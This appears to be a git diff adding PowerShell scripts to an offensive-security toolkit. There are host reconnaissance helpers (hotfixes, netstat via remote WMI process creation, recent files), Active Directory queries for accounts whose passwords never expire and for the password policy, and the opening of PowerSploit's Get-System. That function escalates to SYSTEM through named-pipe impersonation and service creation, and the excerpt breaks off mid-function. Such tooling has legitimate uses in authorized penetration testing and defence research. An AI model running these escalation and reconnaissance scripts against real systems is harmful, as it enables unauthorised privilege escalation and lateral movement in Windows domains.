|
||||
Version 1.0
|
||||
|
||||
.Example
|
||||
Get-MSHotfixes
|
||||
|
||||
Description HotfixID caption InstalledOn
|
||||
----------- -------- ------- -----------
|
||||
Security Update KB3200970 http://support.microsoft.com/?kbid=3200970 18/11/2016 00:00:00
|
||||
Security Update KB3202790 http://support.microsoft.com/?kbid=3202790 17/11/2016 00:00:00
|
||||
Update KB3199986 http://support.microsoft.com/?kbid=3199986 03/11/2016 00:00:00
|
||||
Update KB2693643 02/11/2016 00:00:00
|
||||
Update KB3199209 http://support.microsoft.com/?kbid=3199209 18/10/2016 00:00:00
|
||||
Update KB3176936 http://support.microsoft.com/?kbid=3176936 24/08/2016 00:00:00
|
||||
|
||||
Retrive all installed hotfixes
|
||||
|
||||
.Example
|
||||
Get-MSHotFixes | Where-Object -Property hotfixid -EQ KB3176936
|
||||
|
||||
Description HotfixID caption InstalledOn
|
||||
----------- -------- ------- -----------
|
||||
Update KB3176936 http://support.microsoft.com/?kbid=3176936 24/08/2016 00:00:00
|
||||
|
||||
Determine if a specific patch is installed for later versions of Powershell
|
||||
|
||||
.Example
|
||||
Get-MSHotFixes | Where-Object {$_.hotfixid -eq "KB2852386"}
|
||||
Description HotfixID Caption InstalledOn
|
||||
----------- -------- ------- -----------
|
||||
Update KB2852386 http://support.microsoft.com/?kbid... 14/11/2016 00:00:00
|
||||
|
||||
This is for PowerShell v2.0 installed on Windows 7
|
||||
|
||||
|
||||
#>
|
||||
|
||||
$hotfixes = Get-WmiObject -Class Win32_QuickFixEngineering
|
||||
$hotfixes | Select-Object -Property Description, HotfixID, Caption,@{l="InstalledOn";e={[DateTime]::Parse($_.psbase.properties["installedon"].value,$([System.Globalization.CultureInfo]::GetCultureInfo("en-US")))}} | Sort-Object -Descending InstalledOn
|
||||
}
|
|
@ -0,0 +1,380 @@
|
|||
function Get-Netstat {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Display current TCP/IP connections for local or remote system
|
||||
|
||||
.FUNCTIONALITY
|
||||
Computers
|
||||
|
||||
.DESCRIPTION
|
||||
Display current TCP/IP connections for local or remote system. Includes the process ID (PID) and process name for each connection.
|
||||
If the port is not yet established, the port number is shown as an asterisk (*).
|
||||
|
||||
.PARAMETER ProcessName
|
||||
Gets connections by the name of the process. The default value is '*'.
|
||||
|
||||
.PARAMETER Port
|
||||
The port number of the local computer or remote computer. The default value is '*'.
|
||||
|
||||
.PARAMETER Address
|
||||
Gets connections by the IP address of the connection, local or remote. Wildcard is supported. The default value is '*'.
|
||||
|
||||
.PARAMETER Protocol
|
||||
The name of the protocol (TCP or UDP). The default value is '*' (all)
|
||||
|
||||
.PARAMETER State
|
||||
Indicates the state of a TCP connection. The possible states are as follows:
|
||||
|
||||
Closed - The TCP connection is closed.
|
||||
Close_Wait - The local endpoint of the TCP connection is waiting for a connection termination request from the local user.
|
||||
Closing - The local endpoint of the TCP connection is waiting for an acknowledgement of the connection termination request sent previously.
|
||||
Delete_Tcb - The transmission control buffer (TCB) for the TCP connection is being deleted.
|
||||
Established - The TCP handshake is complete. The connection has been established and data can be sent.
|
||||
Fin_Wait_1 - The local endpoint of the TCP connection is waiting for a connection termination request from the remote endpoint or for an acknowledgement of the connection termination request sent previously.
|
||||
Fin_Wait_2 - The local endpoint of the TCP connection is waiting for a connection termination request from the remote endpoint.
|
||||
Last_Ack - The local endpoint of the TCP connection is waiting for the final acknowledgement of the connection termination request sent previously.
|
||||
Listen - The local endpoint of the TCP connection is listening for a connection request from any remote endpoint.
|
||||
Syn_Received - The local endpoint of the TCP connection has sent and received a connection request and is waiting for an acknowledgment.
|
||||
Syn_Sent - The local endpoint of the TCP connection has sent the remote endpoint a segment header with the synchronize (SYN) control bit set and is waiting for a matching connection request.
|
||||
Time_Wait - The local endpoint of the TCP connection is waiting for enough time to pass to ensure that the remote endpoint received the acknowledgement of its connection termination request.
|
||||
Unknown - The TCP connection state is unknown.
|
||||
|
||||
Values are based on the TcpState Enumeration:
|
||||
http://msdn.microsoft.com/en-us/library/system.net.networkinformation.tcpstate%28VS.85%29.aspx
|
||||
|
||||
Cookie Monster - modified these to match netstat output per here:
|
||||
http://support.microsoft.com/kb/137984
|
||||
|
||||
.PARAMETER ComputerName
|
||||
If defined, run this command on a remote system via WMI. \\computername\c$\netstat.txt is created on that system and the results returned here
|
||||
|
||||
.PARAMETER ShowHostNames
|
||||
If specified, will attempt to resolve local and remote addresses.
|
||||
|
||||
.PARAMETER tempFile
|
||||
Temporary file to store results on remote system. Must be relative to remote system (not a file share). Default is "C:\netstat.txt"
|
||||
|
||||
.PARAMETER AddressFamily
|
||||
Filter by IP Address family: IPv4, IPv6, or the default, * (both).
|
||||
|
||||
If specified, we display any result where both the localaddress and the remoteaddress is in the address family.
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics | Format-Table
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics iexplore -computername k-it-thin-02 -ShowHostNames | Format-Table
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics -ProcessName md* -Protocol tcp
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics -Address 192* -State LISTENING
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics -State LISTENING -Protocol tcp
|
||||
|
||||
.EXAMPLE
|
||||
Get-NetworkStatistics -Computername Computer1, Computer2
|
||||
|
||||
.EXAMPLE
|
||||
'Computer1', 'Computer2' | Get-NetworkStatistics
|
||||
|
||||
.OUTPUTS
|
||||
System.Management.Automation.PSObject
|
||||
|
||||
.NOTES
|
||||
Author: Shay Levy, code butchered by Cookie Monster
|
||||
Shay's Blog: http://PowerShay.com
|
||||
Cookie Monster's Blog: http://ramblingcookiemonster.github.io/
|
||||
|
||||
.LINK
|
||||
http://gallery.technet.microsoft.com/scriptcenter/Get-NetworkStatistics-66057d71
|
||||
#>
|
||||
[OutputType('System.Management.Automation.PSObject')]
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
|
||||
[Parameter(Position=0)]
|
||||
[System.String]$ProcessName='*',
|
||||
|
||||
[Parameter(Position=1)]
|
||||
[System.String]$Address='*',
|
||||
|
||||
[Parameter(Position=2)]
|
||||
$Port='*',
|
||||
|
||||
[Parameter(Position=3,
|
||||
ValueFromPipeline = $True,
|
||||
ValueFromPipelineByPropertyName = $True)]
|
||||
[System.String[]]$ComputerName=$env:COMPUTERNAME,
|
||||
|
||||
[ValidateSet('*','tcp','udp')]
|
||||
[System.String]$Protocol='*',
|
||||
|
||||
[ValidateSet('*','Closed','Close_Wait','Closing','Delete_Tcb','DeleteTcb','Established','Fin_Wait_1','Fin_Wait_2','Last_Ack','Listening','Syn_Received','Syn_Sent','Time_Wait','Unknown')]
|
||||
[System.String]$State='*',
|
||||
|
||||
[switch]$ShowHostnames,
|
||||
|
||||
[switch]$ShowProcessNames = $true,
|
||||
|
||||
[System.String]$TempFile = "C:\netstat.txt",
|
||||
|
||||
[validateset('*','IPv4','IPv6')]
|
||||
[string]$AddressFamily = '*'
|
||||
)
|
||||
|
||||
begin{
|
||||
#Define properties
|
||||
$properties = 'ComputerName','Protocol','LocalAddress','LocalPort','RemoteAddress','RemotePort','State','ProcessName','PID'
|
||||
|
||||
#store hostnames in array for quick lookup
|
||||
$dnsCache = @{}
|
||||
|
||||
}
|
||||
|
||||
process{
|
||||
|
||||
foreach($Computer in $ComputerName) {
|
||||
|
||||
#Collect processes
|
||||
if($ShowProcessNames){
|
||||
Try {
|
||||
$processes = Get-Process -ComputerName $Computer -ErrorAction stop | select name, id
|
||||
}
|
||||
Catch {
|
||||
Write-warning "Could not run Get-Process -computername $Computer. Verify permissions and connectivity. Defaulting to no ShowProcessNames"
|
||||
$ShowProcessNames = $false
|
||||
}
|
||||
}
|
||||
|
||||
#Handle remote systems
|
||||
if($Computer -ne $env:COMPUTERNAME){
|
||||
|
||||
#define command
|
||||
[string]$cmd = "cmd /c c:\windows\system32\netstat.exe -ano >> $tempFile"
|
||||
|
||||
#define remote file path - computername, drive, folder path
|
||||
$remoteTempFile = "\\{0}\{1}`${2}" -f "$Computer", (split-path $tempFile -qualifier).TrimEnd(":"), (Split-Path $tempFile -noqualifier)
|
||||
|
||||
#delete previous results
|
||||
Try{
|
||||
$null = Invoke-WmiMethod -class Win32_process -name Create -ArgumentList "cmd /c del $tempFile" -ComputerName $Computer -ErrorAction stop
|
||||
}
|
||||
Catch{
|
||||
Write-Warning "Could not invoke create win32_process on $Computer to delete $tempfile"
|
||||
}
|
||||
|
||||
#run command
|
||||
Try{
|
||||
$processID = (Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $cmd -ComputerName $Computer -ErrorAction stop).processid
|
||||
}
|
||||
Catch{
|
||||
#If we didn't run netstat, break everything off
|
||||
Throw $_
|
||||
Break
|
||||
}
|
||||
|
||||
#wait for process to complete
|
||||
while (
|
||||
#This while should return true until the process completes
|
||||
$(
|
||||
try{
|
||||
get-process -id $processid -computername $Computer -ErrorAction Stop
|
||||
}
|
||||
catch{
|
||||
$FALSE
|
||||
}
|
||||
)
|
||||
) {
|
||||
start-sleep -seconds 2
|
||||
}
|
||||
|
||||
#gather results
|
||||
if(test-path $remoteTempFile){
|
||||
|
||||
Try {
|
||||
$results = Get-Content $remoteTempFile | Select-String -Pattern '\s+(TCP|UDP)'
|
||||
}
|
||||
Catch {
|
||||
Throw "Could not get content from $remoteTempFile for results"
|
||||
Break
|
||||
}
|
||||
|
||||
Remove-Item $remoteTempFile -force
|
||||
|
||||
}
|
||||
else{
|
||||
Throw "'$tempFile' on $Computer converted to '$remoteTempFile'. This path is not accessible from your system."
|
||||
Break
|
||||
}
|
||||
}
|
||||
else{
|
||||
#gather results on local PC
|
||||
$results = netstat -ano | Select-String -Pattern '\s+(TCP|UDP)'
|
||||
}
|
||||
|
||||
#initialize counter for progress
|
||||
$totalCount = $results.count
|
||||
$count = 0
|
||||
|
||||
#Loop through each line of results
|
||||
foreach($result in $results) {
|
||||
|
||||
$item = $result.line.split(' ',[System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
|
||||
if($item[1] -notmatch '^\[::'){
|
||||
|
||||
#parse the netstat line for local address and port
|
||||
if (($la = $item[1] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6'){
|
||||
$localAddress = $la.IPAddressToString
|
||||
$localPort = $item[1].split('\]:')[-1]
|
||||
}
|
||||
else {
|
||||
$localAddress = $item[1].split(':')[0]
|
||||
$localPort = $item[1].split(':')[-1]
|
||||
}
|
||||
|
||||
#parse the netstat line for remote address and port
|
||||
if (($ra = $item[2] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6'){
|
||||
$remoteAddress = $ra.IPAddressToString
|
||||
$remotePort = $item[2].split('\]:')[-1]
|
||||
}
|
||||
else {
|
||||
$remoteAddress = $item[2].split(':')[0]
|
||||
$remotePort = $item[2].split(':')[-1]
|
||||
}
|
||||
|
||||
#Filter IPv4/IPv6 if specified
|
||||
if($AddressFamily -ne "*")
|
||||
{
|
||||
if($AddressFamily -eq 'IPv4' -and $localAddress -match ':' -and $remoteAddress -match ':|\*' )
|
||||
{
|
||||
#Both are IPv6, or ipv6 and listening, skip
|
||||
Write-Verbose "Filtered by AddressFamily:`n$result"
|
||||
continue
|
||||
}
|
||||
elseif($AddressFamily -eq 'IPv6' -and $localAddress -notmatch ':' -and ( $remoteAddress -notmatch ':' -or $remoteAddress -match '*' ) )
|
||||
{
|
||||
#Both are IPv4, or ipv4 and listening, skip
|
||||
Write-Verbose "Filtered by AddressFamily:`n$result"
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
#parse the netstat line for other properties
|
||||
$procId = $item[-1]
|
||||
$proto = $item[0]
|
||||
$status = if($item[0] -eq 'tcp') {$item[3]} else {$null}
|
||||
|
||||
#Filter the object
|
||||
if($remotePort -notlike $Port -and $localPort -notlike $Port){
|
||||
write-verbose "remote $Remoteport local $localport port $port"
|
||||
Write-Verbose "Filtered by Port:`n$result"
|
||||
continue
|
||||
}
|
||||
|
||||
if($remoteAddress -notlike $Address -and $localAddress -notlike $Address){
|
||||
Write-Verbose "Filtered by Address:`n$result"
|
||||
continue
|
||||
}
|
||||
|
||||
if($status -notlike $State){
|
||||
Write-Verbose "Filtered by State:`n$result"
|
||||
continue
|
||||
}
|
||||
|
||||
if($proto -notlike $Protocol){
|
||||
Write-Verbose "Filtered by Protocol:`n$result"
|
||||
continue
|
||||
}
|
||||
|
||||
#Display progress bar prior to getting process name or host name
|
||||
Write-Progress -Activity "Resolving host and process names"`
|
||||
-Status "Resolving process ID $procId with remote address $remoteAddress and local address $localAddress"`
|
||||
-PercentComplete (( $count / $totalCount ) * 100)
|
||||
|
||||
#If we are running showprocessnames, get the matching name
|
||||
if($ShowProcessNames -or $PSBoundParameters.ContainsKey -eq 'ProcessName'){
|
||||
|
||||
#handle case where process spun up in the time between running get-process and running netstat
|
||||
if($procName = $processes | Where {$_.id -eq $procId} | select -ExpandProperty name ){ }
|
||||
else {$procName = "Unknown"}
|
||||
|
||||
}
|
||||
else{$procName = "NA"}
|
||||
|
||||
if($procName -notlike $ProcessName){
|
||||
Write-Verbose "Filtered by ProcessName:`n$result"
|
||||
continue
|
||||
}
|
||||
|
||||
#if the showhostnames switch is specified, try to map IP to hostname
|
||||
if($showHostnames){
|
||||
$tmpAddress = $null
|
||||
try{
|
||||
if($remoteAddress -eq "127.0.0.1" -or $remoteAddress -eq "0.0.0.0"){
|
||||
$remoteAddress = $Computer
|
||||
}
|
||||
elseif($remoteAddress -match "\w"){
|
||||
|
||||
#check with dns cache first
|
||||
if ($dnsCache.containskey( $remoteAddress)) {
|
||||
$remoteAddress = $dnsCache[$remoteAddress]
|
||||
write-verbose "using cached REMOTE '$remoteAddress'"
|
||||
}
|
||||
else{
|
||||
#if address isn't in the cache, resolve it and add it
|
||||
$tmpAddress = $remoteAddress
|
||||
$remoteAddress = [System.Net.DNS]::GetHostByAddress("$remoteAddress").hostname
|
||||
$dnsCache.add($tmpAddress, $remoteAddress)
|
||||
write-verbose "using non cached REMOTE '$remoteAddress`t$tmpAddress"
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{ }
|
||||
|
||||
try{
|
||||
|
||||
if($localAddress -eq "127.0.0.1" -or $localAddress -eq "0.0.0.0"){
|
||||
$localAddress = $Computer
|
||||
}
|
||||
elseif($localAddress -match "\w"){
|
||||
#check with dns cache first
|
||||
if($dnsCache.containskey($localAddress)){
|
||||
$localAddress = $dnsCache[$localAddress]
|
||||
write-verbose "using cached LOCAL '$localAddress'"
|
||||
}
|
||||
else{
|
||||
#if address isn't in the cache, resolve it and add it
|
||||
$tmpAddress = $localAddress
|
||||
$localAddress = [System.Net.DNS]::GetHostByAddress("$localAddress").hostname
|
||||
$dnsCache.add($localAddress, $tmpAddress)
|
||||
write-verbose "using non cached LOCAL '$localAddress'`t'$tmpAddress'"
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{ }
|
||||
}
|
||||
|
||||
#Write the object
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
ComputerName = $Computer
|
||||
PID = $procId
|
||||
ProcessName = $procName
|
||||
Protocol = $proto
|
||||
LocalAddress = $localAddress
|
||||
LocalPort = $localPort
|
||||
RemoteAddress =$remoteAddress
|
||||
RemotePort = $remotePort
|
||||
State = $status
|
||||
} | Select-Object -Property $properties
|
||||
|
||||
#Increment the progress counter
|
||||
$count++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Identify accounts with passwords set not to expire
|
||||
.DESCRIPTION
|
||||
Searches Active Directory for user accounts the have the flag set to allow the password never to expire
|
||||
.EXAMPLE
|
||||
PS C:\> Pass-NotExp
|
||||
#>
|
||||
function Get-PassNotExp
|
||||
{
|
||||
$strFilter = '(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=65536))'
|
||||
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$objSearcher.SearchRoot = $objDomain
|
||||
$objSearcher.PageSize = 1000
|
||||
$objSearcher.Filter = $strFilter
|
||||
$colProplist = 'name'
|
||||
Write-Output 'Users with Password set NOT to Expire'
|
||||
Write-Output '====================================='
|
||||
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
|
||||
$colResults = $objSearcher.FindAll()
|
||||
foreach ($objResult in $colResults)
|
||||
{$objItem = $objResult.Properties; $objItem.name}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Retrives the default active directory password policy
|
||||
.DESCRIPTION
|
||||
Retrives the default active directory password policy
|
||||
.EXAMPLE
|
||||
PS C:\> Pass-Pol
|
||||
Output the default domain password policy
|
||||
#>
|
||||
function Get-PassPol
|
||||
{
|
||||
$domain = [ADSI]"WinNT://$env:userdomain"
|
||||
$Name = @{Name='DomainName';Expression={$_.Name}}
|
||||
$MinPassLen = @{Name='Minimum Password Length (Chars)';Expression={$_.MinPasswordLength}}
|
||||
$MinPassAge = @{Name='Minimum Password Age (Days)';Expression={$_.MinPasswordAge.value/86400}}
|
||||
$MaxPassAge = @{Name='Maximum Password Age (Days)';Expression={$_.MaxPasswordAge.value/86400}}
|
||||
$PassHistory = @{Name='Enforce Password History (Passwords remembered)';Expression={$_.PasswordHistoryLength}}
|
||||
$AcctLockoutThreshold = @{Name='Account Lockout Threshold (Invalid logon attempts)';Expression={$_.MaxBadPasswordsAllowed}}
|
||||
$AcctLockoutDuration = @{Name='Account Lockout Duration (Minutes)';Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}}
|
||||
$ResetAcctLockoutCounter = @{Name='Reset Account Lockout Counter After (Minutes)';Expression={$_.LockoutObservationInterval.value/60}}
|
||||
$domain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter
|
||||
}
|
||||
$PassPol = Get-PassPol
|
||||
Write-Output 'Domain Password Policy: '
|
||||
Write-Output $PassPol
|
|
@ -0,0 +1,22 @@
|
|||
Function Get-RecentFiles {
|
||||
$obj = New-Object -ComObject WScript.Shell
|
||||
$Path = [System.Environment]::GetFolderPath('Recent')
|
||||
$files = Get-ChildItem -Path $Path | Sort-Object LastAccessTime | Select-Object -Last 50
|
||||
echo ""
|
||||
echo "[+] Get-RecentFiles"
|
||||
echo ""
|
||||
foreach ($file in $files)
|
||||
{
|
||||
$extn = [IO.Path]::GetExtension($file)
|
||||
if ($extn -eq ".lnk" )
|
||||
{
|
||||
try {
|
||||
$lnk = $file.versioninfo.filename
|
||||
$lnkfile = $obj.CreateShortcut($lnk).TargetPath
|
||||
if ($lnkfile) {
|
||||
echo $lnkfile
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,590 @@
|
|||
function Get-System {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
GetSystem functionality inspired by Meterpreter's getsystem.
|
||||
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
|
||||
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
|
||||
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
|
||||
token duplication works correctly.
|
||||
|
||||
PowerSploit Function: Get-System
|
||||
Author: @harmj0y, @mattifestation
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER Technique
|
||||
|
||||
The technique to use, 'NamedPipe' or 'Token'.
|
||||
|
||||
.PARAMETER ServiceName
|
||||
|
||||
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER PipeName
|
||||
|
||||
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.PARAMETER WhoAmI
|
||||
|
||||
Switch. Display the credentials for the current PowerShell thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM
|
||||
with a custom service and pipe name.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -Technique Token
|
||||
|
||||
Uses token duplication to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -WhoAmI
|
||||
|
||||
Displays the credentials for the current thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.LINK
|
||||
|
||||
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
|
||||
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
|
||||
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
|
||||
#>
|
||||
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
|
||||
param(
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[Parameter(ParameterSetName = "Token")]
|
||||
[String]
|
||||
[ValidateSet("NamedPipe", "Token")]
|
||||
$Technique = 'NamedPipe',
|
||||
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[String]
|
||||
$ServiceName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[String]
|
||||
$PipeName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = "RevToSelf")]
|
||||
[Switch]
|
||||
$RevToSelf,
|
||||
|
||||
[Parameter(ParameterSetName = "WhoAmI")]
|
||||
[Switch]
|
||||
$WhoAmI
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# performs named pipe impersonation to elevate to SYSTEM without needing
|
||||
# SeDebugPrivilege
|
||||
function Local:Get-SystemNamedPipe {
|
||||
param(
|
||||
[String]
|
||||
$ServiceName = "TestSVC",
|
||||
|
||||
[String]
|
||||
$PipeName = "TestSVC"
|
||||
)
|
||||
|
||||
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
|
||||
|
||||
# create the named pipe used for impersonation and set appropriate permissions
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
|
||||
|
||||
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
|
||||
|
||||
# Declare/setup all the needed API function
|
||||
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
|
||||
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
|
||||
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
|
||||
|
||||
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
|
||||
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
|
||||
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
|
||||
|
||||
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
|
||||
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
|
||||
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
|
||||
|
||||
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
|
||||
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
|
||||
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
|
||||
|
||||
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
|
||||
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
|
||||
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
|
||||
|
||||
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
|
||||
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
|
||||
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
|
||||
|
||||
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
|
||||
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
|
||||
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
|
||||
|
||||
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
|
||||
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
|
||||
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
|
||||
|
||||
# Step 1 - OpenSCManager()
|
||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||||
Write-Verbose "Opening service manager"
|
||||
$ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
|
||||
Write-Verbose "Service manager handle: $ManagerHandle"
|
||||
|
||||
# if we get a non-zero handle back, everything was successful
|
||||
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
|
||||
|
||||
# Step 2 - CreateService()
|
